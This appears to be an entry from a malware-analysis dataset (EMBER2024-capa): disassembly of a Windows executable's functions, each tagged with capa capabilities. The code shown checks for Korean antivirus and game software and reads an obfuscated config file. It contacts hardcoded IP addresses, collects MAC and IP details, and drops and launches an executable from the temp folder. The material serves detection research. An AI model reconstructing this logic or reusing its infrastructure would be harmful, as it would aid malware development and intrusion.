joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov edi, 0x206
push edi
xor esi, esi
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push esi
push eax
call fcn.00409600
xor eax, eax
push edi
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push esi
push eax
call fcn.00409600
add esp, 0x18
lea eax, [ebp - 0x414]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
mov word [ebp - 0x410], ax
push str.HangameKOREANHanUninstall.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
xor ecx, ecx
inc ecx
cmp eax, 0xffffffff
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
cmovne esi, ecx
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x4010d2
or esi, 2
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401100
or esi, 4
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401131
or esi, 0x100
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401162
or esi, 0x200
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401193
or esi, 0x400
mov ecx, dword [ebp - 4]
or esi, 0x2000000
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405a14
leave
ret
Function at 0x4013df
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d8
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
push 0x3e
mov word [ebp - 0x48], ax
xor esi, esi
lea eax, [ebp - 0x46]
push esi
push eax
call fcn.00409600
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
call fcn.00403890
pop ecx
mov ecx, esi
movzx eax, word [ebp + ecx - 0x48]
mov word [ecx + 0x41bf88], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401417
mov edi, 0x41bf88
push edi
push esi
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x40144f
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x401535
push edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401448
lea eax, [ebp - 0x1d8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, 0x41cb20
call fcn.00401be5
mov edi, 0x418890
test eax, eax
jne 0x40150c
mov ecx, esi
movzx eax, word [ecx + str.dgudf]
mov word [ecx + 0x41ccc8], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401488
push str.218.54.47.77
push 0x40
push 0x41cb24
call fcn.00405b59
add esp, 0xc
push str.GTDR
push 0x10
push 0x41cba6
call fcn.00405b59
add esp, 0xc
push edi
push 0x40
push 0x41cbc6
call fcn.00405b59
add esp, 0xc
mov ecx, esi
push 0x51
pop eax
mov word [0x41cba4], ax
mov eax, 0x2b8e
mov word [0x41cc46], ax
movzx eax, word [ecx + str.BHSBDHS]
mov word [ecx + 0x41cca8], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4014ec
mov dword [0x41cce8], 5
call fcn.004039d0
push edi
call fcn.00403af0
pop ecx
mov dword [0x41ce20], eax
call fcn.00401216
push esi
push esi
push esi
push 0x401340
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00405a14
leave
ret
Function at 0x401543
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, edx
push esi
push eax
push 0x4188bc
mov dword [ebp - 0x418], eax
call fcn.004044d0
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x40166a
push ebx
push edi
mov edi, 0x206
push edi
mov word [ebp - 0x20c], ax
xor ebx, ebx
lea eax, [ebp - 0x20a]
push ebx
push eax
call fcn.00409600
xor eax, eax
push edi
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push ebx
push eax
call fcn.00409600
add esp, 0x18
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, 0x41c3a8
mov ebx, edi
xor eax, eax
cmp word [ebx], ax
je 0x4015fd
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.00405b59
push ebx
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.00405bb5
add esp, 0x18
xor eax, eax
add ebx, 0x118
cmp ebx, 0x41c920
jl 0x4015c9
mov ebx, dword [ebp - 0x418]
cmp word [edi], ax
je 0x401629
push 1
push ebx
push 0x4188bc
push edi
call fcn.00405480
add esp, 0x10
xor eax, eax
add edi, 0x118
cmp edi, 0x41c920
jl 0x401611
push 0x41c1a0
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00405bb5
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 2
pop ecx
cmp eax, 0xffffffff
cmove esi, ecx
pop edi
mov eax, esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00405a14
leave
ret
Function at 0x4018e6
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x41a038]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x41beb8
push 0x67
push edi
call esi
push 0x64
mov ebx, 0x41bdf0
push ebx
push 0x6d
push edi
call esi
mov ecx, edi
call fcn.00401a60
xor ecx, ecx
push ecx
push edi
push ecx
push ecx
push ecx
mov eax, connect
push eax
push ecx
push eax
push 0xcf0000
push 0x41beb8
push ebx
push ecx
mov dword [0x41bf80], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401970
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00405a14
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
push 0x41af08
call fcn.004027c0
pop ecx
call fcn.00401e53
test eax, eax
je 0x4019a8
call fcn.004033f0
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004013df
test eax, eax
je 0x401957
call fcn.00401677
mov eax, dword [0x41ce20]
test eax, eax
je 0x4019e2
cmp word [0x41ce24], 0
jbe 0x4019e2
push str.218.54.31.226
push eax
call fcn.00404140
mov ax, word [0x41ce24]
pop ecx
pop ecx
mov word [0x41aef4], ax
xor ebx, ebx
mov ecx, ebx
movzx eax, word [ecx + str.fiosde.exe]
mov word [ecx + 0x41c1a0], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4019e6
call fcn.004041f0
xor eax, eax
push 0x206
mov word [esp + 0x14], ax
lea eax, [esp + 0x16]
push ebx
push eax
call fcn.00409600
add esp, 0xc
lea eax, [esp + 0x10]
push eax
mov edi, 0x104
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41c1a0
lea eax, [esp + 0x14]
push edi
push eax
call fcn.00405bb5
add esp, 0xc
push 0x1f4
call esi
push 1
push ebx
push 0x41884c
lea eax, [esp + 0x1c]
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x4019a1
Function at 0x401c70
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
mov eax, ecx
push edi
xor edi, edi
mov dword [ebp - 0x214], eax
test eax, eax
je 0x401d86
test ebx, ebx
je 0x401d86
mov ecx, ebx
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, di
jne 0x401ca7
sub ecx, edx
sar ecx, 1
je 0x401d86
push esi
xor eax, eax
push 0x206
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push edi
push eax
call fcn.00409600
add esp, 0xc
cmp dword [ebp + 0xc], edi
jne 0x401d13
cmp dword [0x41af08], 3
jne 0x401d13
mov esi, 0x104
push esi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41899c
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00405bb5
add esp, 0xc
jmp 0x401d26
lea eax, [ebp - 0x20c]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push ebx
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00405bb5
push 0x4189a0
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
mov dword [ebp - 0x210], edi
call fcn.00405dac
add esp, 0x18
pop esi
cmp dword [ebp - 0x210], edi
je 0x401d86
push dword [ebp - 0x210]
xor edi, edi
inc edi
push edi
push 0x200
push dword [ebp - 0x214]
call fcn.0040607e
push dword [ebp - 0x210]
call fcn.00406196
add esp, 0x14
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop ebx
call fcn.00405a14
leave
ret

Function at 0x401d96
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
push 0x206
xor esi, esi
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push esi
push eax
mov edi, ecx
call fcn.00409600
add esp, 0xc
mov dword [ebp - 0x210], esi
test edi, edi
je 0x401e43
lea eax, [ebp - 0x20c]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00405bb5
push 0x4189c0
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00405dac
xor esi, esi
add esp, 0x18
inc esi
cmp dword [ebp - 0x210], 0
je 0x401e43
push dword [ebp - 0x210]
push esi
push 0x200
push edi
call fcn.00406364
push dword [ebp - 0x210]
call fcn.00406196
add esp, 0x14
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00405a14
leave
ret
Function at 0x4025f3
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x61c
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x210], ax
xor ebx, ebx
lea eax, [ebp - 0x20e]
push ebx
push eax
call fcn.00409600
add esp, 0xc
mov esi, 0x200
push esi
lea eax, [ebp - 0x418]
push ebx
push eax
mov dword [ebp - 0x214], 0x504d534d
call fcn.00409600
add esp, 0xc
lea ecx, [ebp - 0x418]
push ebx
push str.golfset.ini
call fcn.00401c70
pop ecx
pop ecx
test eax, eax
je 0x40274e
mov eax, ebx
not byte [ebp + eax - 0x418]
inc eax
cmp eax, esi
jb 0x402666
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x214]
mov eax, dword [eax]
cmp eax, dword [ecx]
jne 0x40274e
mov ecx, 0x80
lea esi, [ebp - 0x418]
lea edi, [ebp - 0x618]
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
movzx eax, word [ecx + 0x418890]
mov word [ecx + 0x41c018], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x40269d
mov ecx, ebx
movzx eax, word [ebp + ecx - 0x592]
mov word [ecx + 0x41c120], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4026b5
mov ecx, ebx
movzx eax, word [ebp + ecx - 0x614]
mov word [ecx + 0x41c0a0], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4026ce
cmp dword [0x41af08], 3
mov ax, word [ebp - 0x394]
mov word [0x41c098], ax
mov ax, word [ebp - 0x2f2]
mov word [0x41c010], ax
lea eax, [ebp - 0x210]
mov dword [0x41c00c], 5
push eax
je 0x40271d
push 1
jmp 0x40271e
push ebx
call fcn.004031f0
pop ecx
pop ecx
push str.golfset.ini
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00405bb5
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor ebx, ebx
inc ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.00405a14
leave
ret

Function at 0x4027c0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0
xor ecx, ecx
mov word [ebp - 0x12c], cx
push 0x11c
push 0
lea edx, [ebp - 0x120]
push edx
call fcn.00409600
add esp, 0xc
mov dword [ebp - 0x120], 0x11c
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4028a0
mov ecx, dword [ebp - 0x11c]
mov dword [ebp - 0x128], ecx
mov edx, dword [ebp - 0x118]
mov dword [ebp - 0x124], edx
mov ax, word [ebp - 0xc]
mov word [ebp - 0x12c], ax
cmp dword [ebp - 0x128], 5
jne 0x402871
cmp dword [ebp - 0x124], 2
jae 0x402868
cmp dword [ebp - 0x124], 1
jne 0x402871
mov ecx, dword [ebp + 8]
mov dword [ecx], 3
cmp dword [ebp - 0x128], 6
jne 0x4028a0
cmp dword [ebp - 0x124], 0
jne 0x40288e
mov edx, dword [ebp + 8]
mov dword [edx], 4
jmp 0x4028a0
cmp dword [ebp - 0x124], 1
jne 0x4028a0
mov eax, dword [ebp + 8]
mov dword [eax], 5
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405a14
mov esp, ebp
pop ebp
ret
Function at 0x4028b0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.00409600
add esp, 0xc
cmp dword [0x41af08], 3
jne 0x402918
push 0x104
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x418a20
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00405bb5
add esp, 0xc
jmp 0x40292a
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x20c]
push eax
push 0x418a24
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405a14
mov esp, ebp
pop ebp
ret

Function at 0x402c20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x214], 0xffffffff
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.00409600
add esp, 0xc
push 0x104
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov eax, 2
imul eax, eax, 0
movzx ecx, word [ebp + eax - 0x20c]
sub ecx, 0x41
mov dword [ebp - 0x218], ecx
lea edx, [ebp - 0x210]
push edx
mov eax, dword [ebp - 0x218]
push eax
call fcn.00402ef0
add esp, 8
mov ecx, dword [ebp - 0x210]
push ecx
call fcn.00403060
add esp, 4
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0xffffffff
jne 0x402cd3
xor eax, eax
jmp 0x402ce6
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x214]
push eax
call fcn.00402a40
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405a14
mov esp, ebp
pop ebp
ret

Function at 0x402e50
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x1c], 0
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
cmp dword [ebp + 8], 0xffffffff
jne 0x402e8d
jmp 0x402ede
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], edx
push 0
push 0x200
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.0040d880
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp + 0x10]
shl eax, 9
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405a14
mov esp, ebp
pop ebp
ret
Function at 0x4031f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
je 0x40320a
mov eax, dword [ebp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x40322f
push 0x104
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x418aa8
push 0x104
mov edx, dword [ebp + 0xc]
push edx
call fcn.00405bb5
add esp, 0xc
pop ebp
ret

Function at 0x403240
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 8], 0
push 0x418aac
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00405dac
add esp, 0xc
test eax, eax
je 0x40327e
xor eax, eax
jmp 0x40335f
mov dword [ebp - 0x10], 0
push 2
push 0
mov edx, dword [ebp - 8]
push edx
call fcn.00406b80
add esp, 0xc
mov eax, dword [ebp - 8]
push eax
call fcn.00406f58
add esp, 4
mov dword [ebp - 0x10], eax
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.00406b80
add esp, 0xc
mov edx, dword [ebp - 0x10]
add edx, dword [ebp + 0x10]
push edx
call fcn.00406a27
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.0040607e
add esp, 0x10
mov eax, dword [ebp - 8]
push eax
call fcn.00406196
add esp, 4
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x10]
push edx
call fcn.00403370
add esp, 8
push 0x418ab4
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00405dac
add esp, 0xc
test eax, eax
je 0x403318
xor eax, eax
jmp 0x40335f
mov edx, dword [ebp - 0x10]
add edx, dword [ebp + 0x10]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.00406364
add esp, 0x10
mov eax, dword [ebp - 8]
push eax
call fcn.00406196
add esp, 4
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0xc], 0
je 0x40335c
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00406ab9
add esp, 4
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405a14
mov esp, ebp
pop ebp
ret
Function at 0x403d80
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x20], 0x10
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0x3a98
mov eax, dword [ebp - 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x403e11
mov dword [ebp - 0x18], 0xffffffff
jmp 0x403f38
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x6f
jne 0x403e4c
mov edx, dword [ebp - 0x10]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x14], 0x6f
jne 0x403e61
cmp dword [ebp - 0x1c], 3
jb 0x403de4
cmp dword [ebp - 0x14], 0
jne 0x403f26
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0
je 0x403f24
mov edx, dword [ebp - 0xc]
cmp dword [edx + 0x34], 6
jne 0x403f16
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0x1c], 0
je 0x403f16
mov ecx, dword [ebp - 0xc]
add ecx, 0x2c
mov edx, dword [ebp + 8]
mov eax, dword [ecx]
mov dword [edx], eax
mov cx, word [ecx + 4]
mov word [edx + 4], cx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x10]
mov ecx, dword [eax + 0xc]
mov edx, 1
shl edx, 1
mov eax, dword [ebp + 0xc]
mov cl, byte [ecx + edx + 2]
mov byte [eax + 3], cl
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x10]
mov ecx, dword [eax + 0xc]
mov edx, 1
imul edx, edx, 3
mov eax, dword [ebp + 0xc]
mov cl, byte [ecx + edx + 2]
mov byte [eax + 2], cl
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x10]
mov ecx, dword [eax + 0xc]
mov edx, 1
shl edx, 2
mov eax, dword [ebp + 0xc]
mov cl, byte [ecx + edx + 2]
mov byte [eax + 1], cl
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x10]
mov ecx, dword [eax + 0xc]
mov edx, 1
imul edx, edx, 5
mov eax, dword [ebp + 0xc]
mov cl, byte [ecx + edx + 2]
mov byte [eax], cl
jmp 0x403f24
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 8]
mov dword [ebp - 0xc], eax
jmp 0x403e71
jmp 0x403f31
mov dword [ebp - 0x18], 0xfffffffd
jmp 0x403f38
mov dword [ebp - 0x18], 0
cmp dword [ebp - 0x10], 0
je 0x403f51
mov ecx, dword [ebp - 0x10]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405a14
mov esp, ebp
pop ebp
ret
Function at 0x4042f0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x418], 0
movzx eax, word [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004044d0
add esp, 8
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0
je 0x404338
mov eax, dword [ebp - 0x418]
jmp 0x4044ba
xor edx, edx
mov word [ebp - 0x20c], dx
push 0x206
push 0
lea eax, [ebp - 0x20a]
push eax
call fcn.00409600
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x414], cx
push 0x206
push 0
lea edx, [ebp - 0x412]
push edx
call fcn.00409600
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0x420], 0
jmp 0x4043a3
mov ecx, dword [ebp - 0x420]
add ecx, 1
mov dword [ebp - 0x420], ecx
cmp dword [ebp - 0x420], 5
jge 0x404412
mov edx, dword [ebp - 0x420]
imul edx, edx, 0x118
mov eax, 2
imul eax, eax, 0
movzx ecx, word [edx + eax + 0x41c3a8]
test ecx, ecx
jne 0x4043ce
jmp 0x404394
lea edx, [ebp - 0x20c]
push edx
push 0x104
lea eax, [ebp - 0x414]
push eax
call fcn.00405b59
add esp, 0xc
mov ecx, dword [ebp - 0x420]
imul ecx, ecx, 0x118
add ecx, 0x41c3a8
push ecx
push 0x104
lea edx, [ebp - 0x414]
push edx
call fcn.00405bb5
add esp, 0xc
jmp 0x404394
mov dword [ebp - 0x41c], 0
jmp 0x40442d
mov eax, dword [ebp - 0x41c]
add eax, 1
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 5
jge 0x40447f
mov ecx, dword [ebp - 0x41c]
imul ecx, ecx, 0x118
mov edx, 2
imul edx, edx, 0
movzx eax, word [ecx + edx + 0x41c3a8]
test eax, eax
jne 0x404458
jmp 0x40441e
push 1
movzx ecx, word [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x41c]
imul eax, eax, 0x118
add eax, 0x41c3a8
push eax
call fcn.00405480
add esp, 0x10
jmp 0x40441e
push 0x41c1a0
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
call fcn.00405bb5
add esp, 0xc
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4044b4
mov dword [ebp - 0x418], 2
mov eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405a14
mov esp, ebp
pop ebp
ret